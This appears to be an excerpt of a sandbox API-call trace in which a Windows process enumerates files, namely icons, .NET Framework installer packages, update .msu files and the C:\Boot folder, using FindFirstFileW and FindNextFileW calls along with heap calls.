FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0077.627] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0077.627] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0077.627] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0077.627] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0077.627] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0077.627] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0077.627] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0077.628] GetProcessHeap () returned 0x11a0000 [0077.628] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.628] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x430054, dwReserved1=0x7, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0077.628] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x430054, dwReserved1=0x7, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0077.628] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x430054, dwReserved1=0x7, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0077.628] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x430054, dwReserved1=0x7, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0077.629] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x430054, dwReserved1=0x7, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0077.629] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x430054, dwReserved1=0x7, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0077.629] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x430054, dwReserved1=0x7, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0077.629] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x430054, dwReserved1=0x7, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x430054, dwReserved1=0x7, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x430054, dwReserved1=0x7, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x430054, dwReserved1=0x7, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x430054, dwReserved1=0x7, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x430054, dwReserved1=0x7, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x430054, dwReserved1=0x7, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x430054, dwReserved1=0x7, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x430054, dwReserved1=0x7, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0077.630] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0077.631] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x430054, dwReserved1=0x7, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0077.631] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x430054, dwReserved1=0x7, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0077.631] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0077.631] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0077.631] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0077.631] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0077.631] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0077.631] FindClose (in: hFindFile=0x11ba110 | out: hFindFile=0x11ba110) returned 1 [0077.631] GetProcessHeap () returned 0x11a0000 [0077.631] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0077.633] FindNextFileW (in: hFindFile=0x11b9d50, lpFindFileData=0x347f700 | out: lpFindFileData=0x347f700*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0077.633] GetProcessHeap () returned 0x11a0000 [0077.633] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0077.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0077.635] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="..", cAlternateFileName="")) returned 1 [0077.636] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x7, cFileName="BCD", cAlternateFileName="")) returned 1 [0077.636] 